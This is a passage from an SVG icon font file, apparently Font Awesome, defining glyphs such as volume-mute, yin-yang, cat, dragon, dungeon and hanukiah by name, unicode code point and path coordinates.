c-8.83984 0 -16 7.16016 -16 16v48h-160v-48c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v48l-55.1602 19.6699c-5.14941 2.58008 -8.09961 7.32031 -8.71973 12.3301c-0.700195 5.66016 1.58008 11.6699 7 15.29l88.8799 48.71v64
l-55.1602 17.6904c-11.79 5.89941 -11.79 22.7197 0 28.6191l119.16 49.6904v64l-27.3096 16.3096c-7.7207 7.7207 -5.61035 20.7402 4.15918 25.6201l183.15 86.0703l183.15 -86.0801c9.76953 -4.87988 11.8799 -17.9004 4.15918 -25.6201l-27.3096 -16.2998v-64
l119.16 -49.6904c11.79 -5.89941 11.79 -22.7197 0 -28.6191l-55.1602 -17.6904v-64zM224 320v-64h192v64h-192zM160 96h320v64h-320v-64z" />
    <glyph glyph-name="volume-mute" unicode="&#xf6a9;" 
d="M215.03 376.95c15.0098 15.0098 40.9697 4.49023 40.9697 -16.9697v-335.961c0 -21.4395 -25.9404 -32 -40.9697 -16.9697l-88.9707 88.9502h-102.06c-13.2598 0 -24 10.75 -24 24v144c0 13.2598 10.7402 24 24 24h102.06zM461.64 192l45.6406 -45.6396
c6.2998 -6.30078 6.2998 -16.5205 0 -22.8203l-22.8203 -22.8203c-6.2998 -6.2998 -16.5195 -6.2998 -22.8203 0l-45.6396 45.6406l-45.6299 -45.6299c-6.2998 -6.30078 -16.5205 -6.30078 -22.8203 0l-22.8193 22.8193c-6.30078 6.2998 -6.30078 16.5205 0 22.8203
l45.6299 45.6299l-45.6406 45.6396c-6.2998 6.30078 -6.2998 16.5205 0 22.8203l22.8203 22.8203c6.2998 6.2998 16.5195 6.2998 22.8203 0l45.6396 -45.6406l45.6396 45.6406c6.30078 6.2998 16.5205 6.2998 22.8203 0l22.8203 -22.8203
c6.2998 -6.2998 6.2998 -16.5195 0 -22.8203z" />
    <glyph glyph-name="yin-yang" unicode="&#xf6ad;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM248 192c53.0195 0 96 42.9805 96 96s-42.9805 96 -96 96
c-106.04 0 -192 -85.96 -192 -192s85.96 -192 192 -192c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96zM248 320c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" />
    <glyph glyph-name="blender-phone" unicode="&#xf6b6;" horiz-adv-x="576" 
d="M392 384c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h157.82l-17.46 -64h-140.36c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h131.64l-17.46 -64h-114.18c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h105.46
l-17.46 -64h-288v352h384l-17.46 -64h-166.54zM158.8 112.99c3.00977 -7.40039 0.200195 -15.8506 -6.68945 -20.0703l-39.4102 -24.1797c-12.5303 -7.68066 -31.7803 -6 -41.6504 4.7998c-94.0996 102.94 -94.6699 258.89 -2.09961 362.49
c11.1396 12.4697 29.5596 15.8398 43.8896 7.0498l39.2803 -24.0996c6.87988 -4.2207 9.7002 -12.6807 6.67969 -20.0703l-25.7803 -63.2598c-2.7793 -6.80078 -9.80957 -10.9902 -17.2393 -10.2607l-45.0303 4.41992c-17.6504 -47.9395 -17.2803 -100.779 0 -147.72
l45.0303 4.41992c7.43945 0.730469 14.46 -3.4502 17.2393 -10.2598zM480 64c35.3496 0 64 -28.6504 64 -64v-32c0 -17.6699 -14.3301 -32 -32 -32h-352c-17.6699 0 -32 14.3301 -32 32v32c0 35.3496 28.6504 64 64 64h288zM336 -32c17.6699 0 32 14.3301 32 32
s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="book-dead" unicode="&#xf6b7;" horiz-adv-x="448" 
d="M272 312c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16
c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM240 392c-44.2002 0 -80 -28.7002 -80 -64c0 -20.9004 12.7002 -39.2002 32 -50.9004v-13.0996
c0 -8.7998 7.2002 -16 16 -16h64c8.7998 0 16 7.2002 16 16v13.0996c19.2998 11.7002 32 30 32 50.9004c0 35.2998 -35.7998 64 -80 64zM124.8 224.7c-1.7002 -4.10059 0.100586 -8.7998 4.2002 -10.5l70.5 -30.2998l-70.4004 -30.1006
c-4.09961 -1.7002 -5.89941 -6.39941 -4.19922 -10.5l6.2998 -14.7002c1.7002 -4.09961 6.39941 -5.89941 10.5 -4.19922l98.2998 42.1992l98.2998 -42.0996c4.10059 -1.7002 8.7998 0.0996094 10.5 4.2002l6.2998 14.7002c1.7002 4.09961 -0.0996094 8.7998 -4.19922 10.5
l-70.3008 30.0996l70.3008 30.2002c4.09961 1.7002 5.89941 6.39941 4.19922 10.5l-6.2998 14.7002c-1.7002 4.09961 -6.39941 5.89941 -10.5 4.19922l-98.3994 -42.0996l-98.3008 42.0996c-4.09961 1.7002 -8.7998 -0.0996094 -10.5 -4.19922zM380.8 0v64h-284.8
c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8zM208 312c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16z" />
    <glyph glyph-name="campground" unicode="&#xf6bb;" horiz-adv-x="640" 
d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h24.6797l239.79 330.25l-53.4102 73.5498c-5.19922 7.15039 -3.60938 17.1602 3.54004 22.3506l25.8809 18.7998
c7.14941 5.18945 17.1592 3.59961 22.3496 -3.5498l41.1699 -56.7002l41.1602 56.6895c5.2002 7.16016 15.2002 8.74023 22.3496 3.55078l25.9004 -18.79c7.14941 -5.19043 8.72949 -15.2002 3.54004 -22.3506l-53.4102 -73.5498l239.78 -330.25h24.6797zM320 160
l-116.36 -160h232.721z" />
    <glyph glyph-name="cat" unicode="&#xf6be;" 
d="M290.59 256c11.8906 -58.3496 63.6006 -102.4 125.41 -102.4c11.1104 0 21.71 1.87012 32 4.54004v-206.14c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v144l-128 -96h32c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16
h-176c-35.2998 0 -64 28.7002 -64 64v256c0 17.6396 -14.3604 32 -32 32c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32c52.9404 0 96 -43.0596 96 -96v-85.9502c55.7695 83.9697 142.41 85.9502 162.59 85.9502zM448 352l64 64v-134.4c0 -53.0195 -42.9805 -96 -96 -96
s-96 42.9805 -96 96v134.4l64 -64h64zM376 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM456 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" />
    <glyph glyph-name="chair" unicode="&#xf6c0;" horiz-adv-x="448" 
d="M112 320v-128h-48v128c0 70.7002 57.2998 128 128 128h64c70.7002 0 128 -57.2998 128 -128v-128h-48v128c0 29.5 -16.2002 55 -40 68.9004v-196.9h-48v208h-48v-208h-48v196.9c-23.7998 -13.9004 -40 -39.4004 -40 -68.9004zM446.3 106.1
c6.90039 -20.6992 -8.5 -42.0996 -30.2998 -42.0996v-112c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v112h-256v-112c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v112c-21.7998 0 -37.2002 21.4004 -30.4004 42.0996l10.7002 32
c4.40039 13.1006 16.6006 21.9004 30.4004 21.9004h362.5c13.7998 0 26 -8.7998 30.3994 -21.9004z" />
    <glyph glyph-name="cloud-moon" unicode="&#xf6c3;" horiz-adv-x="576" 
d="M342.8 95.2998c40.9004 -3.5 73.2002 -37.3994 73.2002 -79.2998c0 -44.2002 -35.7998 -80 -80 -80h-240c-53 0 -96 43 -96 96c0 41.9004 27.0996 77.2002 64.5996 90.2998c-0.0996094 1.90039 -0.599609 3.7002 -0.599609 5.7002c0 53 43 96 96 96
c36.2002 0 67.4004 -20.2998 83.7002 -49.9004c11.5 11 27.0996 17.9004 44.2998 17.9004c35.2998 0 64 -28.7002 64 -64c0 -12 -3.5 -23.0996 -9.2002 -32.7002zM565.3 149.6c8.2002 1.60059 14 -8 8.7002 -14.5c-33.4004 -41.0996 -82.7002 -67 -137.1 -70.3994
c-11.1006 23.0996 -29.9004 41.7998 -53.5 52.5996c0.399414 3.5 0.599609 7.10059 0.599609 10.7002c0 52.9004 -43.0996 96 -96 96c-12.7002 0 -25 -2.5 -36.4004 -7.2002c-5.09961 5.2998 -10.7998 9.90039 -16.6992 14.2002c-1.10059 8.2002 -1.80078 16.5 -1.80078 25
c0 106.1 86 192 191.9 192c11.7002 0 23.4004 -1.09961 35.0996 -3.2002c8.2002 -1.59961 10.1006 -12.5996 2.80078 -16.7002c-47.1006 -26.7998 -76.1006 -76.5996 -76.1006 -130.8c0 -94 85.4004 -165.399 178.5 -147.7z" />
    <glyph glyph-name="cloud-sun" unicode="&#xf6c4;" horiz-adv-x="640" 
d="M575.2 122.3c37.5996 -13 64.7998 -48.2998 64.7998 -90.3994c0 -53 -43 -96 -96 -96h-272c-53 0 -96 43 -96 96c0 50.5996 39.2998 91.5996 88.9004 95.2998c-0.200195 2.89941 -0.900391 5.7002 -0.900391 8.7002c0 61.8994 50.2002 112 112 112
c45.4004 0 84.2998 -27.2002 101.9 -66c9.89941 6.19922 21.5 10 34.0996 10c35.2998 0 64 -28.7002 64 -64c0 -1.90039 -0.599609 -3.7002 -0.799805 -5.60059zM144.8 144.9c10.6006 -10.6006 22.9004 -18.6006 36 -24c-9.59961 -9.80078 -17.5 -21.1006 -23.5996 -33.5
l-76.1006 -25.3008c-11.8994 -3.89941 -23.1992 7.30078 -19.1992 19.2002l29.2998 87.7998l-82.7998 41.4004c-11.2002 5.59961 -11.2002 21.5 0 27.0996l82.7998 41.5l-29.2998 87.8008c-3.90039 11.7998 7.39941 23.0996 19.1992 19.1992l87.9004 -29.2998
l41.4004 82.7998c5.59961 11.2002 21.5996 11.2002 27.0996 0l41.5 -82.7998l87.7998 29.2998c11.9004 3.90039 23.2002 -7.2998 19.2002 -19.1992l-29.7998 -88.9004c-10.6006 -1.5 -20.9004 -3.7998 -30.7002 -7.5c-5.40039 11.7998 -12.5996 23 -22.2998 32.7002
c-43.7002 43.7002 -114.7 43.7002 -158.4 0c-43.7002 -43.6006 -43.7002 -114.601 0 -158.3zM140 224.1c0 46.3008 37.7002 83.9004 84 83.9004c34 0 63.2998 -20.4004 76.5 -49.5c-36.4004 -22.5 -62 -60.7002 -67.4004 -105
c-8.89941 -2.90039 -17.1992 -7 -25.1992 -11.7002c-38.6006 7.5 -67.9004 41.5 -67.9004 82.2998z" />
    <glyph glyph-name="dice-d20" unicode="&#xf6cf;" horiz-adv-x="480" 
d="M106.75 232.94l108.64 -190.101l-208.26 22.0703c-5.83008 0.639648 -9.00977 7.13965 -5.92969 12.1396zM7.41016 132.57c-2.12012 -3.44043 -7.41016 -1.94043 -7.41016 2.08984v162.81c0 3.11035 3.38965 5.03027 6.05957 3.43066l76.6406 -45.9805zM18.25 24.4004
c-4.03027 1.97949 -2.25 8.06934 2.2002 7.56934l203.55 -22.2998v-65.6699c0 -5.83008 -6.0498 -9.70996 -11.3496 -7.25977zM99.4697 282.18l-81.5293 48.6904c-2.52051 1.51953 -2.60059 5.16016 -0.130859 6.78027l150.811 98.6094
c7.18945 4.11035 15.1201 -4.08008 10.7803 -11.1396zM240 272h-109.21l95.5801 168.38c3.12988 5.08008 8.37988 7.62012 13.6299 7.62012s10.5 -2.54004 13.6299 -7.62012l95.5801 -168.38h-109.21zM473.94 300.9c2.66992 1.59961 6.05957 -0.320312 6.05957 -3.43066
v-162.81c0 -4.04004 -5.2998 -5.54004 -7.41016 -2.10059l-75.29 122.351zM380.53 282.18l-79.9307 142.94c-4.33984 7.05957 3.59082 15.25 10.7803 11.1396l150.811 -98.5996c2.46973 -1.62012 2.39941 -5.25977 -0.130859 -6.78027zM459.55 31.9697
c4.4502 0.5 6.23047 -5.58984 2.2002 -7.55957l-194.4 -87.6602c-5.2998 -2.4502 -11.3496 1.41992 -11.3496 7.25977v65.6699zM373.25 232.94l105.56 -155.891c3.08008 -5 -0.0996094 -11.4902 -5.92969 -12.1396l-208.26 -22.0703zM240 240h100.43l-100.43 -175.75
l-100.43 175.75h100.43z" />
    <glyph glyph-name="dice-d6" unicode="&#xf6d1;" horiz-adv-x="448" 
d="M422.19 338.05c5.3291 -3.24023 5.2998 -11.2695 -0.0507812 -14.46l-198.14 -118.14l-198.13 118.14c-5.35059 3.19043 -5.37988 11.2305 -0.0605469 14.46l165.971 100.88c19.9102 12.1006 44.5195 12.1006 64.4297 0zM436.03 293.42
c5.33008 3.17969 11.9697 -0.839844 11.9697 -7.25v-197.7c0 -23.7598 -12.1104 -45.7393 -31.79 -57.7002l-152.16 -92.4795c-10.6602 -6.48047 -24.0498 1.5498 -24.0498 14.4297v223.82zM0 286.17c0 6.41016 6.63965 10.4297 11.9697 7.25l196.03 -116.88v-223.81
c0 -12.8906 -13.3799 -20.9102 -24.0498 -14.4307l-152.16 92.4697c-19.6797 11.9609 -31.79 33.9307 -31.79 57.7002v197.7z" />
    <glyph glyph-name="dog" unicode="&#xf6d3;" 
d="M496 352c8.83984 0 16 -7.16016 16 -16v-32c0 -35.3496 -28.6504 -64 -64 -64h-32v-35.5801l-128 45.71v149.84c0 14.25 17.2305 21.3906 27.3203 11.3105l27.2793 -27.2803h53.6201c10.917 -0.000976562 23.7383 -7.92578 28.6201 -17.6904l7.16016 -14.3096h64z
M384 304c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM96 224h170.05l149.95 -53.5498v-218.45c0 -8.83984 -7.16016 -16 -16 -16h-64c-8.83984 0 -16 7.16016 -16 16v112h-160v-112c0 -8.83984 -7.16016 -16 -16 -16h-64
c-8.83984 0 -16 7.16016 -16 16v213.9c-37.1699 13.25 -64 48.4395 -64 90.0996c0 17.6699 14.3301 32 32 32s32 -14.3301 32 -32c0 -17.6396 14.3604 -32 32 -32z" />
    <glyph glyph-name="dragon" unicode="&#xf6d5;" horiz-adv-x="640" 
d="M18.3203 192.22c-15.96 -2.2793 -24.8906 17.8105 -12.5107 28.1406l117.4 116.34c21.7705 18.5996 53.2402 20.4697 77.0596 4.58984l119.73 -87.5996v-42.2705c0 -28.9102 5.29004 -56.9795 14.7305 -83.3799h-222.7c-14.25 0 -21.3906 17.2295 -11.3105 27.3096
l91.2803 68.6904zM575.19 158.12c41.9092 -20.96 67.1592 -64.0801 64.6396 -111.36c-3.37988 -63.2002 -59.7002 -110.77 -122.99 -110.76h-499.08c-9.80957 0 -17.7598 8 -17.7598 17.7998c0 8.32031 5.78027 15.5303 13.9004 17.3301
c89.54 19.9004 238.51 54.1006 434.1 60.9102c-59.9697 39.9902 -96 107.3 -96 179.38v108.62l-59.5801 24.8496c-5.90039 2.9502 -5.90039 11.3604 0 14.3105l59.5801 24.8398l-61.6396 50.3496c-5.04004 5.04004 -1.4707 13.6104 5.65918 13.6104h237.45
c10.0703 0 19.5498 -4.7002 25.6006 -12.7598l74.5293 -99.3799c3.53223 -4.71094 6.39844 -13.3115 6.39844 -19.1992c0 -4.16992 -1.51367 -10.5811 -3.37793 -14.3115l-14.3105 -28.6191c-4.88086 -9.76465 -17.7031 -17.6895 -28.6191 -17.6904h-30.9707
c-8.48926 0 -16.6299 3.37012 -22.6299 9.37012l-28.0898 22.6299h-64v-36.6904c0.00195312 -16.3701 11.8877 -35.5986 26.5303 -42.9199zM489.18 381.75c-4.33008 -17.1396 8.56055 -28.96 21.5205 -29.6699c11.6602 -0.629883 21.3799 7.34961 24.1299 18.2598z" />
    <glyph glyph-name="drumstick-bite" unicode="&#xf6d7;" 
d="M462.8 398.43c34.3203 -34.2793 50.4307 -79.5996 49.1299 -124.56c-41.9795 22.6602 -94.3594 17.5596 -128.739 -16.7998c-40.8809 -40.8398 -40.6904 -107.181 -1.05078 -151.07c-16.2383 -5.52246 -43.3389 -10.0049 -60.4912 -10.0049
c-0.385742 0 -1.0127 0.00195312 -1.39844 0.00488281h-85.8896l-40.6104 -40.5596c-9.71973 -9.75 -11.0898 -24.0205 -6 -36.75c2.38477 -5.95898 4.32031 -16.0049 4.32031 -22.4229c0 -33.3135 -27.0371 -60.3496 -60.3506 -60.3496
c-13.8428 0 -33.0039 7.96191 -42.7695 17.7725c-15.2803 15.2695 -19.6006 36.5 -15.1006 56.0996c-19.6094 -4.49023 -40.8496 -0.179688 -56.1191 15.0703c-9.77148 9.75684 -17.7021 28.8828 -17.7021 42.6914c0 33.3018 27.0273 60.3301 60.3301 60.3301
c6.40234 0 16.4248 -1.92773 22.3721 -4.30176c12.7793 -5.07031 27.0791 -3.69043 36.7793 6l40.6201 40.5898v85.8301c0 64 27.6904 107 63.1699 142.43c27.3887 27.3604 81.0371 49.5664 119.75 49.5664c38.7139 0 92.3613 -22.2061 119.75 -49.5664z" />
    <glyph glyph-name="dungeon" unicode="&#xf6d9;" 
d="M128.73 252.68c6.58984 -4.12012 8.89941 -12.2393 6.33984 -19.5801c-3 -8.60938 -5.15039 -17.6094 -6.24023 -26.9395c-0.929688 -7.91016 -7.0498 -14.1602 -15.0098 -14.1602h-97.1299c-9.10059 0 -16.7402 7.62988 -16.1504 16.7197
c1.66016 25.7793 11.7178 65.7725 22.4502 89.2705c3.93945 8.62012 14.8896 11.4697 22.9297 6.4502zM319.03 440c9.16992 -2.36035 13.9102 -12.5996 10.3896 -21.3896l-37.4697 -104.03c-2.28027 -6.34961 -8.2998 -10.5801 -15.0498 -10.5801h-41.8008
c-6.2041 0.00195312 -12.9473 4.74219 -15.0498 10.5801l-37.4697 104.03c-3.52051 8.79004 1.21973 19.04 10.3896 21.3896c20.1699 5.17969 41.2607 8 63.0303 8s42.8604 -2.82031 63.0303 -8zM112 160c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16
h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM112 32c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM189.31 315.67
c2.85059 -7.12012 -0.0195312 -14.8799 -6.2998 -19.29c-6 -4.2002 -11.6094 -8.89941 -16.79 -14.0498c-5.4502 -5.41016 -13.5996 -6.86035 -20.1094 -2.79004l-82.9307 51.8301c-8.06934 5.04004 -10.2793 16.2002 -4.21973 23.5195
c16.7148 20.1758 48.7969 47.0068 71.6104 59.8906c8.29004 4.67969 18.8896 0.519531 22.4199 -8.31055zM398.18 192c-7.95996 0 -14.0801 6.25 -15.0098 14.1602c-1.08984 9.32031 -3.22949 18.3301 -6.24023 26.9395c-2.55957 7.34082 -0.25 15.46 6.33984 19.5801
l82.8105 51.7607c8.04004 5.01953 18.9902 2.16992 22.9297 -6.4502c10.7334 -23.498 20.791 -63.4902 22.4502 -89.2705c0.589844 -9.08984 -7.0498 -16.7197 -16.1504 -16.7197h-97.1299zM453.03 354.89c6.06934 -7.31934 3.84961 -18.4795 -4.2207 -23.5098
l-82.9297 -51.8301c-6.50977 -4.06934 -14.6699 -2.62012 -20.1104 2.79004c-5.17969 5.15039 -10.7891 9.85059 -16.7891 14.0498c-6.28027 4.40039 -9.15039 12.1602 -6.30078 19.2803l36.3203 90.7998c3.54004 8.83008 14.1396 12.9902 22.4199 8.31055
c22.8135 -12.8838 54.8945 -39.7148 71.6104 -59.8906zM496 160c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM496 32c8.83984 0 16 -7.16016 16 -16v-64
c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM240 270.38c5.23047 0.889648 10.5195 1.62012 16 1.62012s10.7695 -0.730469 16 -1.62012v-294.38c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8
v294.38zM176 228.87c8.16016 12.2998 19.2197 22.3203 32 29.7695v-282.64c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v252.87zM304 258.64c12.7803 -7.44922 23.8398 -17.4697 32 -29.7695v-252.87c0 -4.41992 -3.58008 -8 -8 -8h-16
c-4.41992 0 -8 3.58008 -8 8v282.64z" />
    <glyph glyph-name="file-csv" unicode="&#xf6dd;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM128 168v16c0 4.41992 -3.58008 8 -8 8h-8c-26.5098 0 -48 -21.4902 -48 -48v-32
c0 -26.5098 21.4902 -48 48 -48h8c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-8c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h8c4.41992 0 8 3.58008 8 8zM172.27 64c23.3906 0 42.4004 17.3301 42.3906 38.6201
c0 10.6602 -4.86035 20.9199 -13.3301 28.1396l-21.8896 18.7705c-1.37012 1.17969 -2.12012 2.54004 -2.12012 3.83984c0 3.12012 4.45996 6.62012 10.4102 6.62012h12.2695c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-12.25
c-23.3896 0 -42.4102 -17.3203 -42.4102 -38.6201c0 -10.6602 4.86035 -20.9199 13.3301 -28.1396l21.8896 -18.7705c1.37012 -1.17969 2.12012 -2.54004 2.12012 -3.83984c0 -3.12012 -4.45996 -6.62012 -10.4102 -6.62012h-12.2695c-4.41992 0 -8 -3.58008 -8 -8v-16
c0 -4.41992 3.58008 -8 8 -8h12.2695zM256 184c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-20.7998c0 -35.4805 12.8799 -68.8906 36.2803 -94.0898c3.01953 -3.25 7.26953 -5.11035 11.7197 -5.11035s8.7002 1.86035 11.7197 5.11035
c23.4004 25.1992 36.2803 58.6094 36.2803 94.0898v20.7998c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-20.7998c0 -20.2705 -5.7002 -40.1807 -16 -56.8799c-10.2998 16.71 -16 36.6094 -16 56.8799v20.7998zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004
v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" />
    <glyph glyph-name="fist-raised" unicode="&#xf6de;" horiz-adv-x="384" 
d="M255.98 288h-48.0303c-5.62988 0 -10.9502 -1.15039 -15.9697 -2.92969v146.93c0 8.83984 7.15918 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-144zM383.98 192.01l0.0195312 -88.2197v-0.0107422c0 -21.9551 -12.5977 -52.373 -28.1201 -67.8994l-35.9102 -35.9199
v-63.96h-255.979v64l-26.5 26.5098c-24.0098 24.0098 -37.4902 56.5605 -37.4902 90.5098v77.9307c5.03027 -1.7998 10.3604 -2.9502 16 -2.9502h32c12.3301 0 23.4805 4.80957 32 12.4902c8.50977 -7.66992 19.6602 -12.4805 32 -12.4805h32
c7.91016 0 15.2803 2.11035 21.8701 5.52051c7.46973 -16.3301 21.5996 -28.9404 38.8701 -34.4502c-17.1104 -14.8203 -31.5801 -34.4805 -47.3105 -58.0801l-6.30957 -9.46973c-0.742188 -1.1123 -1.34375 -3.09961 -1.34375 -4.43652
c0 -2.36328 1.59668 -5.34375 3.56348 -6.65332l13.3105 -8.88086c1.11133 -0.741211 3.09863 -1.34375 4.43555 -1.34375c2.36328 0 5.34473 1.59668 6.6543 3.56445l6.30957 9.46973c31.8906 47.8398 51.5303 70.2695 96.0498 72.5498
c4.29004 0.219727 7.88086 3.70996 7.88086 8v16.2002c0 4.41992 -3.52051 8 -13.2002 8h-35.2607c-26.2695 0 -47.5693 21.3203 -47.5693 47.5898v0.560547c0 8.7793 7.12012 15.8496 15.8994 15.8496h112.141c35.3301 0 63.9795 -28.6504 63.9902 -63.9902zM351.97 282.1
c-10.0596 3.59082 -20.7197 5.90039 -32 5.90039h-32v112c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-117.9zM16 224c-8.83984 0 -16 7.16016 -16 16v128c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-128
c0 -8.83984 -7.16016 -16 -16 -16h-32zM111.99 224c-8.83984 0 -16 7.16016 -16 16v160c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-160c0 -8.83984 -7.16016 -16 -16 -16h-32z" />
    <glyph glyph-name="ghost" unicode="&#xf6e2;" horiz-adv-x="384" 
d="M186.1 447.91c108.73 3.25977 197.9 -83.9102 197.9 -191.91v-271.97c0 -14.25 -17.2305 -21.3906 -27.3096 -11.3105l-24.9209 18.5303c-6.65918 4.95996 -16 3.99023 -21.5098 -2.20996l-42.9502 -48.3496c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-40.7197 45.8496
c-6.36035 7.16992 -17.5498 7.16992 -23.9199 0l-40.7197 -45.8496c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-42.9502 48.3496c-5.50977 6.2002 -14.8506 7.16016 -21.5098 2.20996l-24.9209 -18.5303c-10.0791 -10.0801 -27.3096 -2.9502 -27.3096 11.3105v263.92
c0 105.13 81.0098 196.81 186.1 199.96zM128 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM256 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="hammer" unicode="&#xf6e3;" horiz-adv-x="576" 
d="M571.31 254.06c6.25 -6.25 6.25 -16.3799 0.0205078 -22.6191l-90.5098 -90.5107c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6309 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309l11.3105 11.3096l-28.9004 28.9004
c-21.3096 -5.63086 -44.8994 -0.360352 -61.6094 16.3496l-49.1406 49.1396c-12.0098 12 -18.75 28.2803 -18.75 45.25v18.75l-90.5098 45.25c62.4902 62.4805 163.8 62.4805 226.28 0l45.25 -45.25c16.71 -16.71 21.9795 -40.2998 16.3496 -61.6094l28.9004 -28.9004
l11.3096 11.3105c6.25 6.25 16.3799 6.25 22.6299 0zM284.59 269.26l49.1406 -49.1396c3.53906 -3.54004 7.47949 -6.5 11.4395 -9.41016l-238.13 -255.07c-23.8799 -25.5801 -64.2002 -26.2695 -88.9297 -1.5293c-24.7305 24.7393 -24.04 65.0498 1.5293 88.9297
l255.101 238.17c3.00977 -4.16016 6.14941 -8.25 9.84961 -11.9502z" />
    <glyph glyph-name="hanukiah" unicode="&#xf6e6;" horiz-adv-x="640" 
d="M232 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM168 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM392 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM456 288h16
c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM544 280v-120h-32v120c0 4.41992 3.58008 8 8 8h16c4.41992 0 8 -3.58008 8 -8zM104 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM624 288c8.83984 0 16 -7.16016 16 -16
v-112c0 -53.0195 -42.9805 -96 -96 -96h-192v-64h176c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v64h-192c-53.0195 0 -96 42.9805 -96 96v112c0 8.83984 7.16016 16 16 16
h32c8.83984 0 16 -7.16016 16 -16v-112c0 -17.6699 14.3301 -32 32 -32h192v192c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-192h192c17.6699 0 32 14.3301 32 32v112c0 8.83984 7.16016 16 16 16h32zM608 320c-13.25 0 -24 11.9502 -24 26.6699
